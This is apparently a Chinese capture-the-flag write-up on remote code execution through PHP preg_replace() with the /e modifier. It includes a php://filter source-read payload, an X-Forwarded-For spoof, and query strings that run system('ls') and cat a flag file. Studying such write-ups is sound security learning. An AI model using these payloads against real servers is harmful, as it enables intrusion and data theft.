1. 程式人生 > 其它 >preg_replace()特殊匹配模式造成命令執行

preg_replace()特殊匹配模式造成命令執行

漏洞成因:preg_replace()函式的功能為替換正則匹配的字元

Eg:

$slug = preg_replace('/[^a-z0-9-]/', '', $string);

正則替換,把$string中所有非小寫字母或數字的字元給替換成空'',
就是刪除非小寫字母或數字的其他字元。

漏洞:

有一個/e模式加一個/e會造成任意命令執行

題目:

開啟之後,開啟裝置維護中心:

發現點選雲平臺裝置維護中心幾個字url會發生變化

會將傳入的引數顯示出來,這裡可以使用偽協議進行讀取原始碼:
payload為

Php://filter/read=convert.base64-encode/resource=index.php

得到index.php的原始碼有了程式碼洩露,進行程式碼審計

關鍵程式碼(存在漏洞的地方為)

首先要加一個X_Forwaeded_For:127.0.0.1進行匹配進入preg_replace()函式

然後傳遞引數

?pat=/(.*)/e&rep= system(‘ls’)&sub=test

得到

然後得到檔案路徑

再進入?pat=/(.*)/e&rep= system(‘ls+s3chahahaDir’)&sub=test

發現flag資料夾

?pat=/(.*)/e&rep= system(‘ls+s3chahahaDir/falg’)&sub=test

發現flag.php

之後用cat 指令讀取

?pat=/(.*)/e&rep= system(‘cat+s3chahahaDir/falg/flag.php’)&sub=test

得到flag